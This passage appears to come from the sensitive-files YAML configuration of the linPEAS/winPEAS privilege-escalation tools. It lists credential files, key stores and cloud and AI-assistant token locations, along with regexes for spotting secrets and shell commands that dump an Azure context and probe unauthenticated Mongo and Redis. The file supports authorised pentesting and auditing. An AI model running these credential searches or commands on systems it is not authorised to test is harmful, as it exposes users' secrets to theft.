auth|root|snyk|sudo|^su|pkexec|^ftp|mongo|psql|mysql|rdesktop|Save-AzContext|xfreerdp|^ssh|steghide|@|KEY=|TOKEN=|BEARER=|Authorization:|chpasswd" #################### ## DEFAULT VALUES ## #################### defaults: auto_check: False #The builder will generate a check for the file (only linpeas) bad_regex: "" #The regex used to color red. If only_bad_lines and no line_grep, then only lines containing this regex will be printed very_bad_regex: "" #The regex used to color yellow/red check_extra_path: "" #Check if the found files are in a specific path (only linpeas) good_regex: "" #The regex to color green just_list_file: False #Just mention the path to the file, do not cat it line_grep: "" #The regex to grep lines in a file. IMPORTANT: This is the argument for "grep" command so you need to specify the single and double quotes (see examples) only_bad_lines: False #Only print lines containing something red (cnotaining bad_regex) remove_empty_lines: False #Remove empty lines, use only for text files (-I param in grep) remove_path: "" #Not interested in files containing this path (only linpeas) remove_regex: "" #Remove lines containing this regex search_in: #By default search in defined common (only linpeas) - common type: f #File by default exec: [] #Cmd to execute with the check (only linpeas) ############## ## EXAMPLES ## ############## #-) In the following example PostgreSQL searches are performed: ## - auto_check is True (by default set it always to True) ## - exec is and array of sh commands to execute, in this case a command is executed to get the postgresql version ## - The file "pgadmin*.db" is searched ### - just_list_file is True, so the content of the list is not going to be read, just the path of the file will be indicated ### - type is f (file, not dir) ### - search_in is "common", so look for this file in common directories ## - The file "pg_hba.conf" is searched ### - bad_regex indicates the content of the file that if found is going to be written in red in the output ### - type is f (file, not dir) ### - remove_empty_lines is True, this indicates that empty lines of the file aren't going to be written in the output ### - remove_regex is a regex to avoid printing lines where the regex is found ### - search_in is "common", so look for this file in common directories #- name: PostgreSQL # value: # config: # auto_check: True # exec: # - 'echo "Version: $(warn_exec psql -V 2>/dev/null)"' # # files: # - name: "pgadmin*.db" # value: # type: f # just_list_file: True # search_in: # - common # # - name: "pg_hba.conf" # value: # bad_regex: "auth|password|md5|user=|pass=|trust" # type: f # remove_empty_lines: True # remove_regex: '\W+\#|^#' # search_in: # - common #-) In the following example Elasticsearch searches are performed: ## - auto_check is True (by default set it always to True) ## - exec is and array of sh commands to execute, in this case a HTTP request is performed to obtain the version ## - The file "elasticsearch.y*ml" is searched ### - line_grep is the grep argument to filter interesting lineas ### - remove_regex is a regex to avoid printing lines where the regex is found ### - type is f (file, not dir) ### - search_in is "common", so look for this file in common directories #- name: Elasticsearch # value: # config: # auto_check: True # exec: # - echo "The version is $(curl -X GET '127.0.0.1:9200' 2>/dev/null | grep number | cut -d ':' -f 2)" # # files: # - name: "elasticsearch.y*ml" # value: # line_grep: '"path.data|path.logs|cluster.name|node.name|network.host|discovery.zen.ping.unicast.hosts"' # remove_regex: '\W+\#|^#' # type: f # search_in: # - common #-) In the following example Apache searches are performed: ## - auto_check is True (by default set it always to True) ## - exec is and array of sh commands to execute during the check ## - The directory "sites-enabled" is searched ### - type is d (dir) ### - search_in is "common", so look for this file in common directories #### Inside this directory the file "*" is searched (in this case "*" will get all the files, but more specific regex can be used) ##### - bad_regex indicates the content of the file that if found is going to be written in red in the output ##### - only_bad_lines indicate that only lines that contains the regex indicated in bad_regex are going to be printed ##### - remove_empty_lines is True, this indicates that empty lines of the file aren't going to be written in the output ##### - remove_regex is a regex to avoid printing lines where the regex is found #- name: Apache # value: # config: # auto_check: True # exec: # - 'echo "Version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)"' # - "print_3title 'PHP exec extensions'" # - 'grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null' # # files: # - name: "sites-enabled" # value: # type: d # files: # - name: "*" # value: # bad_regex: "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias" # only_bad_lines: True # remove_empty_lines: True # remove_regex: '^#' # search_in: # - common ############################### ## Files & folders to search ## ############################### search: - name: Systemd value: disable: - winpeas config: auto_check: False files: - name: "*.service" value: type: f search_in: - all - name: Timer value: disable: - winpeas config: auto_check: False files: - name: "*.timer" value: type: f search_in: - all - name: Socket value: disable: - winpeas config: auto_check: False files: - name: "*.socket" value: type: f search_in: - all - name: DBus value: disable: - winpeas config: auto_check: False files: - name: "system.d" value: type: d search_in: - ${ROOT_FOLDER}etc - name: MySQL value: config: auto_check: False files: - name: mysql value: type: d check_extra_path: "^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql" remove_path: "mysql/mysql" search_in: - common - name: "passwd.ibd" value: type: f search_in: - common - name: "password*.ibd" value: type: f search_in: - common - name: "pwd.ibd" value: type: f search_in: - common - name: "mysqld.cnf" value: bad_regex: "user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*" remove_regex: '^#' remove_empty_lines: True type: f search_in: - common - name: MariaDB value: config: auto_check: True files: - name: "mariadb.cnf" value: bad_regex: "user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*" type: f remove_regex: '^#' remove_empty_lines: True search_in: - common - name: "debian.cnf" value: bad_regex: "user.*|password.*|admin_address.*|debug.*|sql_warnings.*|secure_file_priv.*" type: f only_bad_lines: True search_in: - common - name: PostgreSQL value: config: auto_check: True exec: - 'echo "Version: $(warn_exec psql -V 2>/dev/null)"' files: - name: "pgadmin*.db" value: type: f just_list_file: True search_in: - common - name: "pg_hba.conf" value: bad_regex: "auth|password|md5|user=|pass=|trust" type: f remove_empty_lines: True remove_regex: '\W+\#|^#' search_in: - common - name: "postgresql.conf" value: bad_regex: "auth|password|md5|user=|pass=|trust" type: f remove_empty_lines: True remove_regex: '\W+\#|^#' search_in: - common - name: "pgsql.conf" value: bad_regex: "auth|password|md5|user=|pass=|trust" type: f remove_empty_lines: True remove_regex: '\W+\#|^#' search_in: - common - name: "pgadmin4.db" value: just_list_file: True type: f search_in: - common - name: Apache-Nginx value: config: auto_check: True exec: - 'echo "Apache version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)"' - 'echo "Nginx version: $(warn_exec nginx -v 2>/dev/null)"' - if [ -d "/etc/apache2" ] && [ -r "/etc/apache2" ]; then grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null; fi - if [ -d "/usr/share/nginx/modules" ] && [ -r "/usr/share/nginx/modules" ]; then print_3title 'Nginx modules'; ls /usr/share/nginx/modules | sed -${E} "s,$NGINX_KNOWN_MODULES,${SED_GREEN},g"; fi - "print_3title 'PHP exec extensions'" files: - name: "sites-enabled" value: type: d files: - name: "*" value: bad_regex: "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias|command on" remove_empty_lines: True remove_regex: '#' search_in: - common - name: "000-default.conf" value: bad_regex: "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias" remove_regex: '#' type: f search_in: - common - name: "php.ini" value: bad_regex: "On" remove_regex: "^;" line_grep: "allow_" type: f search_in: - common - name: "nginx.conf" value: bad_regex: "location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\\s+\\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection" remove_regex: "#" type: f remove_empty_lines: True search_in: - common - name: "nginx" value: type: d files: - name: "*.conf" value: bad_regex: "location.*.php$|$uri|$document_uri|proxy_intercept_errors.*on|proxy_hide_header.*|merge_slashes.*on|resolver.*|proxy_pass|internal|location.+[a-zA-Z0-9][^/]\\s+\\{|map|proxy_set_header.*Upgrade.*http_upgrade|proxy_set_header.*Connection.*http_connection" remove_empty_lines: True remove_regex: '#' remove_path: "nginx.conf" search_in: - common - name: Varnish value: config: auto_check: True files: - name: "varnish" value: files: - name: "default.vcl" value: just_list_file: True - name: "secret" value: just_list_file: True type: d search_in: - common - name: PHP Sessions value: config: auto_check: True exec: - "ls /var/lib/php/sessions 2>/dev/null || echo_not_found /var/lib/php/sessions" files: - name: "sess_*" value: check_extra_path: '/tmp/.*sess_.*|/var/tmp/.*sess_.*' type: f search_in: - ${ROOT_FOLDER}tmp - ${ROOT_FOLDER}var - ${ROOT_FOLDER}mnt - ${ROOT_FOLDER}private - name: PHP_files value: config: auto_check: False files: - name: "*config*.php" value: type: f search_in: - common - name: "database.php" value: type: f search_in: - common - name: "db.php" value: type: f search_in: - common - name: "storage.php" value: type: f search_in: - common - name: "settings.php" value: type: f search_in: - common - name: Apache-Airflow value: config: auto_check: True files: - name: "airflow.cfg" value: bad_regex: "access_control_allow_headers|access_control_allow_methods|access_control_allow_origins|auth_backend|backend.default|google_key_path.*|password|username|flower_basic_auth.*|result_backend.*|ssl_cacert|ssl_cert|ssl_key|fernet_key.*|tls_ca|tls_cert|tls_key|ccache|google_key_path|smtp_password.*|smtp_user.*|cookie_samesite|cookie_secure|expose_config|expose_stacktrace|secret_key|x_frame_enabled" type: f remove_regex: '^#' remove_empty_lines: True search_in: - common - name: "webserver_config.py" value: type: f just_list_file: True search_in: - common - name: X11 value: config: auto_check: True files: - name: ".Xauthority" value: type: f just_list_file: True search_in: - common - name: Wordpress value: config: auto_check: True files: - name: "wp-config.php" value: bad_regex: "PASSWORD|USER|NAME|HOST" only_bad_lines: True type: f search_in: - common - name: Drupal value: config: auto_check: True files: - name: "settings.php" value: bad_regex: "drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix'" check_extra_path: "/default/settings.php" only_bad_lines: True type: f search_in: - common - name: Moodle value: config: auto_check: True files: - name: "config.php" value: bad_regex: "dbtype|dbhost|dbuser|dbhost|dbpass|dbport" check_extra_path: "moodle/config.php" only_bad_lines: True type: f search_in: - common - name: Tomcat value: config: auto_check: True files: - name: "tomcat-users.xml" value: bad_regex: "dbtype|dbhost|dbuser|dbhost|dbpass|dbport" line_grep: '"username=|password="' only_bad_lines: True type: f search_in: - common - name: Mongo value: config: auto_check: True exec: - 'echo "Version: $(warn_exec mongo --version 2>/dev/null; warn_exec mongod --version 2>/dev/null)"' - if [ "$(command -v mongo)" ]; then echo "show dbs" | mongo 127.0.0.1 > /dev/null 2>&1;[ "$?" == "0" ] && echo "Possible mongo anonymous authentication" | sed -${E} "s,.*|kube,${SED_RED},"; fi files: - name: "mongod*.conf" value: type: f remove_empty_lines: True remove_regex: '\W+\#|^#' search_in: - common - name: Rocketchat value: config: auto_check: True files: - name: "rocketchat.service" value: bad_regex: "mongodb://.*" line_grep: '-i "Environment"' type: f search_in: - common - ${ROOT_FOLDER}lib - ${ROOT_FOLDER}systemd - name: Supervisord value: config: auto_check: True files: - name: "supervisord.conf" value: bad_regex: "port.*=|username.*=|password.*=" only_bad_lines: True type: f search_in: - common - name: Cesi value: config: auto_check: True files: - name: "cesi.conf" value: bad_regex: "username.*=|password.*=|host.*=|port.*=|database.*=" only_bad_lines: True type: f search_in: - common - name: Rsync value: config: auto_check: True files: - name: "rsyncd.conf" value: bad_regex: "secrets.*|auth.*users.*=" type: f remove_empty_lines: True remove_regex: '\W+\#|^#' search_in: - common - name: "rsyncd.secrets" value: bad_regex: ".*" type: f search_in: - common - name: Rpcd value: config: auto_check: True files: - name: "rpcd" value: bad_regex: "username.+|password.+" type: f remove_empty_lines: True remove_path: '/init.d/|/sbin/|/usr/share/' search_in: - common - name: Bitcoin value: config: auto_check: True files: - name: "bitcoin.conf" value: bad_regex: "user=.*|password=.*|auth=.*" remove_empty_lines: True remove_regex: '^#' type: f search_in: - common - name: Hostapd value: config: auto_check: True files: - name: "hostapd.conf" value: bad_regex: "passphrase.*" remove_regex: '^#' remove_empty_lines: True type: f search_in: - common - name: Wifi Connections value: config: auto_check: True files: - name: "system-connections" value: files: - name: "*" value: bad_regex: "psk.*" only_bad_lines: True type: f type: d search_in: - ${ROOT_FOLDER}etc - name: PAM Auth value: config: auto_check: True files: - name: "pam.d" value: files: - name: "sshd" value: bad_regex: "auth|accessfile=|secret=|user" remove_regex: "^#|^@" type: f - name: "*" value: bad_regex: "nullok|nullok_secure|pam_permit\\.so|pam_rootok\\.so|pam_exec\\.so|pam_unix\\.so.*(nullok|remember=0)|sufficient\\s+pam_unix\\.so" only_bad_lines: True remove_regex: "^#|^@" type: f type: d search_in: - ${ROOT_FOLDER}etc - name: NFS Exports value: config: auto_check: True exec: - 'nfsmounts=`cat /proc/mounts 2>/dev/null | grep nfs`; if [ "$nfsmounts" ]; then echo -e "Connected NFS Mounts: \n$nfsmounts"; fi' files: - name: exports value: very_bad_regex: "no_root_squash|no_all_squash" bad_regex: "insecure|rw|nohide" remove_regex: '\W+\#|^#' type: f search_in: - ${ROOT_FOLDER}etc - name: GlusterFS value: config: auto_check: True files: - name: "glusterfs.pem" value: type: f just_list_file: True search_in: - common - name: "glusterfs.ca" value: type: f just_list_file: True search_in: - common - name: "glusterfs.key" value: type: f just_list_file: True search_in: - common - name: Anaconda ks value: config: auto_check: True files: - name: "anaconda-ks.cfg" value: bad_regex: "rootpw.*" only_bad_lines: True type: f search_in: - common - name: Terraform value: config: auto_check: True files: - name: "*.tfstate" value: bad_regex: "secret.*" type: f search_in: - common - name: "*.tf" value: just_list_file: True type: f search_in: - common - name: "credentials.tfrc.json" value: type: f bad_regex: ".*" search_in: - common - name: Racoon value: config: auto_check: True files: - name: "racoon.conf" value: remove_empty_lines: True bad_regex: "pre_shared_key.*" remove_regex: '^#' type: f search_in: - common - name: "psk.txt" value: remove_empty_lines: True bad_regex: ".*" type: f search_in: - common - name: Kubernetes value: config: auto_check: True exec: - (env || set) | grep -Ei "kubernetes|kube" | grep -v "PSTORAGE_KUBERNETES|USEFUL_SOFTWARE" | sed -${E} "s,kubernetes|kube,${SED_RED}," files: - name: "kubeconfig" value: bad_regex: "server:|cluster:|namespace:|user:|exec:" type: f search_in: - common - name: "bootstrap-kubeconfig" value: bad_regex: "server:|cluster:|namespace:|user:|exec:" type: f search_in: - common - name: "kubelet-kubeconfig" value: bad_regex: "server:|cluster:|namespace:|user:|exec:" type: f search_in: - common - name: "kubelet.conf" value: bad_regex: "server:|cluster:|namespace:|user:|exec:" type: f search_in: - common - name: "psk.txt" value: remove_empty_lines: True bad_regex: ".*" type: f search_in: - common - name: ".kube*" value: files: - name: "config" value: bad_regex: "server:|cluster:|namespace:|user:|exec:" type: d search_in: - common - name: "kubelet" value: files: - name: "config.yaml" value: bad_regex: "server:|cluster:|namespace:|user:|exec:" - name: "kubeadm-flags.env" value: remove_empty_lines: True type: d search_in: - ${ROOT_FOLDER}var - ${ROOT_FOLDER}etc - name: "kube-proxy" value: type: d search_in: - ${ROOT_FOLDER}var - ${ROOT_FOLDER}etc - name: "kubernetes" value: files: - name: "admin.conf" value: bad_regex: "server:|cluster:|namespace:|user:|exec:" - name: "controller-manager.conf" value: bad_regex: "server:|cluster:|namespace:|user:|exec:" - name: "scheduler.conf" value: bad_regex: "server:|cluster:|namespace:|user:|exec:" type: d search_in: - ${ROOT_FOLDER}var - ${ROOT_FOLDER}etc - name: VNC value: config: auto_check: True files: - name: ".vnc" value: files: - name: "passwd" value: just_list_file: True type: d search_in: - common - name: "*vnc*.c*nf*" value: bad_regex: ".*" remove_regex: '^#' type: f search_in: - common - name: "*vnc*.ini" value: just_list_file: True type: f search_in: - common - name: "*vnc*.txt" value: bad_regex: ".*" type: f search_in: - common - name: "*vnc*.xml" value: bad_regex: ".*" type: f remove_path: "/mime/" search_in: - common - name: Ldap value: config: auto_check: True exec: - echo "The password hash is from the {SSHA} to 'structural'" files: - name: "ldap" value: files: - name: "*.bdb" value: bad_regex: "administrator|password|ADMINISTRATOR|PASSWORD|Password|Administrator" line_grep: '-i -a -o "description.*" | sort | uniq' type: f type: d search_in: - common - name: Log4Shell value: config: auto_check: False files: - name: "log4j-core*.jar" value: type: f search_in: - common - ${ROOT_FOLDER}lib - ${ROOT_FOLDER}lib32 - ${ROOT_FOLDER}lib64 - name: OpenVPN value: config: auto_check: True files: - name: "*.ovpn" value: bad_regex: "auth-user-pass.+" only_bad_lines: True type: f search_in: - common - name: SSH value: config: auto_check: True files: - name: "id_dsa*" value: type: f search_in: - common - name: "id_rsa*" value: type: f search_in: - common - name: "known_hosts" value: type: f search_in: - common - name: "authorized_hosts" value: type: f search_in: - common - name: "authorized_keys" value: good_regex: 'from=[\w\._\-]+' bad_regex: "command=.*" type: f search_in: - common - name: "*.pub" value: bad_regex: "command=.*" only_bad_lines: True type: f search_in: - common - name: CERTSB4 value: config: auto_check: False files: - name: "*.pem" value: type: f remove_path: '/usr/share/|/usr/local/lib/|/usr/lib.*' search_in: - common - name: "*.cer" value: type: f remove_path: '/usr/share/|/usr/local/lib/|/usr/lib.*' search_in: - common - name: "*.crt" value: type: f remove_path: '/usr/share/|/usr/local/lib/|/usr/lib.*' search_in: - common - name: CERTSBIN value: config: auto_check: False files: - name: "*.csr" value: type: f remove_path: '^/usr/share/|/usr/local/lib/|/usr/lib/.*' search_in: - common - name: "*.der" value: type: f remove_path: '/usr/share/|/usr/local/lib/|/usr/lib/.*' search_in: - common - name: CERTSCLIENT value: config: auto_check: False files: - name: "*.pfx" value: type: f remove_path: '/usr/share/|/usr/local/lib/|/usr/lib/.*' search_in: - common - name: "*.p12" value: type: f remove_path: '/usr/share/|/usr/local/lib/|/usr/lib/.*' search_in: - common - name: SSH AGENTS value: config: auto_check: False files: - name: "agent.*" value: type: f remove_path: ".dll" search_in: - ${ROOT_FOLDER}tmp - ${ROOT_FOLDER}run - name: "ssh-agent.sock" value: type: f search_in: - ${ROOT_FOLDER}tmp - ${ROOT_FOLDER}run - name: SSH_CONFIG value: config: auto_check: False files: - name: "ssh*config" value: type: f search_in: - ${ROOT_FOLDER}usr - $HOMESEARCH - name: Snyk value: config: auto_check: False files: - name: "snyk.json" value: type: f bad_regex: ".*" search_in: - common - name: "snyk.config.json" value: type: f bad_regex: ".*" search_in: - common - name: Cloud Credentials value: config: auto_check: True exec: - '(pwsh -Command "Save-AzContext -Path /tmp/az-context3489ht.json" && cat /tmp/az-context3489ht.json && rm /tmp/az-context3489ht.json) || echo_not_found "pwsh"' files: #- name: "credentials" # value: # bad_regex: ".*" # type: f # search_in: # - common - name: "credentials.db" value: bad_regex: ".*" type: f search_in: - common - name: "legacy_credentials.db" value: bad_regex: ".*" type: f search_in: - common - name: "adc.json" value: bad_regex: ".*" type: f search_in: - common - name: ".boto" value: bad_regex: ".*" type: f search_in: - common - name: ".credentials.json" value: bad_regex: ".*" type: f search_in: - common - name: "firebase-tools.json" value: bad_regex: "id_token.*|access_token.*|refresh_token.*" type: f search_in: - common - name: "access_tokens.db" value: bad_regex: ".*" type: f search_in: - common - name: "access_tokens.json" value: bad_regex: ".*" type: f search_in: - common - name: "accessTokens.json" value: bad_regex: ".*" type: f search_in: - common - name: "gcloud" value: files: - name: "*" value: bad_regex: "b'authorization'.*" only_bad_lines: True type: d search_in: - common - name: "legacy_credentials" value: files: - name: "*" value: bad_regex: "refresh_token.*|client_secret" type: d search_in: - common - name: "azureProfile.json" value: bad_regex: ".*" type: f search_in: - common - name: "TokenCache.dat" value: bad_regex: ".*" type: f search_in: - common - name: "AzureRMContext.json" value: bad_regex: "Id.*|Credential.*" type: f search_in: - common - name: "clouds.config" value: type: f search_in: - common - name: "service_principal_entries.json" value: bad_regex: ".*" type: f search_in: - common - name: "msal_token_cache.json" value: bad_regex: ".*" type: f search_in: - common - name: "msal_http_cache.bin" value: just_list_file: True type: f search_in: - common - name: "service_principal_entries.bin" value: just_list_file: True type: f search_in: - common - name: "msal_token_cache.bin" value: just_list_file: True type: f search_in: - common - name: "ErrorRecords" #Azure logs can contain crentials value: type: d search_in: - common - name: "TokenCache.dat" value: bad_regex: ".*" type: f search_in: - common - name: ".bluemix" value: files: - name: "config.json" value: bad_regex: ".*" type: d search_in: - common - name: "doctl" value: files: - name: "config.yaml" value: bad_regex: "access-token.*" only_bad_lines: True type: d search_in: - common - name: "Google Cloud Directory Sync" value: files: - name: "*.xml" value: bad_regex: "oAuth2RefreshToken.*|authCredentialsEncrypted.*" type: d search_in: - common - name: "Google Password Sync" value: files: - name: "*.xml" value: bad_regex: "baseDN.*|authorizeUsername.*" type: d search_in: - common - name: AI Coding Assistants value: config: auto_check: True files: - name: ".codex" value: files: - name: "auth.json" value: bad_regex: "access_token|refresh_token|id_token|OPENAI_API_KEY|api_key|auth_mode" remove_empty_lines: True - name: "config.toml" value: bad_regex: "OPENAI_API_KEY|api_key|auth_mode|model|profile" remove_empty_lines: True type: d search_in: - common - name: ".claude" value: files: - name: "settings.json" value: bad_regex: "apiKeyHelper|ANTHROPIC_API_KEY|ANTHROPIC_AUTH_TOKEN|Authorization|Bearer|token|secret|mcpServers" remove_empty_lines: True - name: "settings.local.json" value: bad_regex: "apiKeyHelper|ANTHROPIC_API_KEY|ANTHROPIC_AUTH_TOKEN|Authorization|Bearer|token|secret|mcpServers" remove_empty_lines: True type: d search_in: - common - name: ".claude.json" value: bad_regex: "auth|token|bearer|session|oauth|api[_-]?key" remove_empty_lines: True type: f search_in: - common - name: ".gemini" value: files: - name: "settings.json" value: bad_regex: "GEMINI_API_KEY|GOOGLE_API_KEY|access_token|refresh_token|oauth|client_secret|Authorization|Bearer|headers|mcpServers" remove_empty_lines: True - name: "oauth_creds.json" value: bad_regex: "access_token|refresh_token|id_token|token_type|scope|client_id" remove_empty_lines: True type: d search_in: - common - name: ".cursor" value: files: - name: "mcp.json" value: bad_regex: "Authorization|Bearer|token|api[_-]?key|secret|headers|env" remove_empty_lines: True type: d search_in: - common - name: ".mcp.json" value: bad_regex: "Authorization|Bearer|token|api[_-]?key|secret|headers|env" remove_empty_lines: True type: f search_in: - common - name: "gh" value: files: - name: "hosts.yml" value: bad_regex: "oauth_token|user:|oauth" remove_empty_lines: True check_extra_path: ".*/\\.config/gh$|.*/AppData/.*gh$|.*/Library/Application Support/gh$" type: d search_in: - common - name: "state.vscdb" value: just_list_file: True check_extra_path: ".*/(Cursor|Code|Code - Insiders)/User/(globalStorage|workspaceStorage)(/.*)?$|.*/Library/Application Support/(Cursor|Code|Code - Insiders)/User/(globalStorage|workspaceStorage)(/.*)?$" type: f search_in: - common - name: "state.vscdb.backup" value: just_list_file: True check_extra_path: ".*/(Cursor|Code|Code - Insiders)/User/(globalStorage|workspaceStorage)(/.*)?$|.*/Library/Application Support/(Cursor|Code|Code - Insiders)/User/(globalStorage|workspaceStorage)(/.*)?$" type: f search_in: - common - name: "storage.json" value: bad_regex: "github\\.copilot|copilot|cursor|openai|anthropic|gemini|token|auth" remove_empty_lines: True check_extra_path: ".*/(Cursor|Code|Code - Insiders)/User/(globalStorage|workspaceStorage)(/.*)?$|.*/Library/Application Support/(Cursor|Code|Code - Insiders)/User/(globalStorage|workspaceStorage)(/.*)?$" type: f search_in: - common - name: Road Recon value: config: auto_check: True files: - name: ".roadtools_auth" value: bad_regex: "accessToken.*" type: f search_in: - common - name: FreeIPA value: config: auto_check: True exec: - ipa_exists="$(command -v ipa)"; if [ "$ipa_exists" ]; then print_info "https://book.hacktricks.wiki/en/linux-hardening/freeipa-pentesting.html"; fi files: - name: "ipa" value: files: - name: "default.conf" value: remove_empty_lines: True type: d search_in: - common - name: "dirsrv" value: files: - name: "id2rntry.db" value: just_list_file: True type: d search_in: - common - name: Kerberos value: config: auto_check: False files: - name: "krb5.conf" value: type: f search_in: - common - name: "*.keytab" value: type: f search_in: - common - name: ".k5login" value: type: f search_in: - common - name: "krb5cc_*" value: type: f search_in: - common - name: "kadm5.acl" value: type: f search_in: - common - name: "secrets.ldb" value: type: f search_in: - common - name: ".secrets.mkey" value: type: f search_in: - common - name: "sssd.conf" value: type: f search_in: - common - name: Kibana value: config: auto_check: True files: - name: "kibana.y*ml" value: bad_regex: "username|password|host|port|elasticsearch|ssl" type: f remove_empty_lines: True remove_regex: '\W+\#|^#|^[[:space:]]*$' search_in: - common - name: Grafana value: config: auto_check: True files: - name: "grafana.ini" value: bad_regex: "admin.*|username.*|password:*|secret.*" type: f remove_empty_lines: True remove_regex: '^#|^;' search_in: - common - name: Knockd value: config: auto_check: True files: - name: "*knockd*" value: check_extra_path: "/etc/init.d/" type: f search_in: - ${ROOT_FOLDER}etc - name: Logstash value: config: auto_check: False files: - name: "logstash" value: type: d search_in: - common - name: Elasticsearch value: config: auto_check: True exec: - echo "The version is $(curl -X GET '127.0.0.1:9200' 2>/dev/null | grep number | cut -d ':' -f 2)" files: - name: "elasticsearch.y*ml" value: line_grep: '"path.data|path.logs|cluster.name|node.name|network.host|discovery.zen.ping.unicast.hosts"' remove_regex: '\W+\#|^#' type: f search_in: - common - name: Vault_ssh_helper value: config: auto_check: False files: - name: "vault-ssh-helper.hcl" value: type: f search_in: - common - name: Vault_ssh_token value: config: auto_check: False files: - name: ".vault-token" value: type: f search_in: - common - name: CouchDB value: config: auto_check: True files: - name: "couchdb" value: files: - name: "local.ini" value: bad_regex: "admin.*|password.*|cert_file.*|key_file.*|hashed.*|pbkdf2.*" remove_empty_lines: True remove_regex: "^;" type: d search_in: - common - name: Redis value: config: auto_check: True exec: - '( redis-server --version || echo_not_found "redis-server") 2>/dev/null' - redis_info="$(if [ "$TIMEOUT" ]; then $TIMEOUT 2 redis-cli INFO 2>/dev/null; else redis-cli INFO 2>/dev/null; fi)"; if [ "$redis_info" ] && ! echo "$redis_info" | grep -i NOAUTH; then echo "Redis isn't password protected" | sed -${E} "s,.*,${SED_RED},"; fi files: - name: "redis.conf" value: bad_regex: "masterauth.*|requirepass.*" type: f remove_empty_lines: True remove_regex: '\W+\#|^#' search_in: - common - name: Mosquitto value: config: auto_check: True files: - name: "mosquitto.conf" value: bad_regex: "password_file.*|psk_file.*|allow_anonymous.*true|auth" type: f remove_empty_lines: True remove_regex: '\W+\#|^#' search_in: - common - name: Neo4j value: config: auto_check: True files: - name: "neo4j" value: files: - name: "auth" value: bad_regex: ".*" remove_empty_lines: True type: d search_in: - common - name: Cloud Init value: config: auto_check: True files: - name: "cloud.cfg" value: bad_regex: "consumer_key|token_key|token_secret|metadata_url|password:|passwd:|PRIVATE KEY|PRIVATE KEY|encrypted_data_bag_secret|_proxy" only_bad_lines: True type: f remove_empty_lines: True remove_regex: '\W+\#|^#' search_in: - common - name: Erlang value: config: auto_check: True files: - name: ".erlang.cookie" value: bad_regex: ".*" type: f search_in: - common - name: SIP value: config: auto_check: True files: - name: "sip.conf" value: bad_regex: "secret.*|allowguest.*=.*true" remove_empty_lines: True type: f search_in: - common - name: "amportal.conf" value: bad_regex: ".*PASS.*=.*" remove_empty_lines: True type: f search_in: - common - name: "FreePBX.conf" value: bad_regex: ".*AMPDB.*=.*" only_bad_lines: True type: f search_in: - common - name: "Elastix.conf" value: bad_regex: ".*pwd.*=.*" remove_empty_lines: True type: f search_in: - common - name: GMV Auth value: config: auto_check: True files: - name: "gvm-tools.conf" value: bad_regex: "username.*|password.*" type: f search_in: - common - name: IPSec value: config: auto_check: True files: - name: "ipsec.secrets" value: bad_regex: ".*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*" type: f search_in: - common - name: "ipsec.conf" value: bad_regex: ".*PSK.*|.*RSA.*|.*EAP =.*|.*XAUTH.*" type: f search_in: - common - name: IRSSI value: config: auto_check: True files: - name: ".irssi" value: files: - name: "config" value: bad_regex: "password.*" type: d search_in: - common - name: Keyring value: config: auto_check: True files: - name: "keyrings" value: type: d search_in: - common - name: "*.keyring" value: just_list_file: True type: f search_in: - common - name: "*.keystore" value: just_list_file: True type: f search_in: - common - name: "*.jks" value: just_list_file: True type: f search_in: - common - name: Virtual Disks value: config: auto_check: True files: - name: "*.vhd" value: just_list_file: True type: f search_in: - common - name: "*.vhdx" value: just_list_file: True type: f search_in: - common - name: "*.vmdk" value: just_list_file: True type: f search_in: - common - name: Filezilla value: config: auto_check: True files: - name: "filezilla" value: files: - name: "sitemanager.xml" value: bad_regex: "Host.*|Port.*|Protocol.*|User.*|Pass.*" remove_empty_lines: True remove_regex: "^;" type: d search_in: - common - name: "filezilla.xml" value: just_list_file: True type: f search_in: - common - name: "recentservers.xml" value: just_list_file: True type: f search_in: - common - name: Backup Manager value: config: auto_check: True files: - name: "storage.php" value: bad_regex: "password|pass|user|database|host" line_grep: >- "'pass'|'password'|'user'|'database'|'host'" type: f search_in: - common - name: "database.php" value: bad_regex: "password|pass|user|database|host" line_grep: >- "'pass'|'password'|'user'|'database'|'host'" only_bad_lines: True type: f search_in: - common - name: Splunk value: config: auto_check: False files: - name: "passwd" value: type: f search_in: - common - name: Git value: config: auto_check: True files: - name: ".git-credentials" value: bad_regex: ".*" type: f search_in: - common - name: Atlantis value: config: auto_check: True files: - name: "atlantis.db" value: bad_regex: "CloneURL|Username" type: f search_in: - common - name: GitLab value: config: auto_check: False files: - name: "secrets.yml" value: type: f remove_path: "/lib" search_in: - common - name: "gitlab.yml" value: type: f remove_path: "/lib" search_in: - common - name: "gitlab.rm" value: type: f remove_path: "/lib" search_in: - common - name: PGP-GPG value: config: auto_check: True exec: - '( (command -v gpg && gpg --list-keys) || echo_not_found "gpg") 2>/dev/null' - '( (command -v netpgpkeys && netpgpkeys --list-keys) || echo_not_found "netpgpkeys") 2>/dev/null' - '(command -v netpgp || echo_not_found "netpgp") 2>/dev/null' files: - name: "*.pgp" value: type: f search_in: - common - name: "*.gpg" value: type: f search_in: - common - name: "*.asc" value: type: f remove_path: "/usr/share/|/usr/lib/|/lib/|/man/" search_in: - common - name: "secring.gpg" value: type: f search_in: - common - name: "pubring.kbx" value: type: f search_in: - common - name: "trustdb.gpg" value: type: f search_in: - common - name: "gpg-agent.conf" value: type: f search_in: - common - name: "secret.asc" value: type: f just_list_file: True search_in: - common - name: "private-keys-v1.d/*.key" value: type: f search_in: - common - name: "*.gnupg" value: type: f remove_path: "README.gnupg" search_in: - common - name: Cache Vi value: disable: - winpeas config: auto_check: True files: - name: "*.swp" value: just_list_file: True type: f search_in: - common - name: "*.viminfo" value: 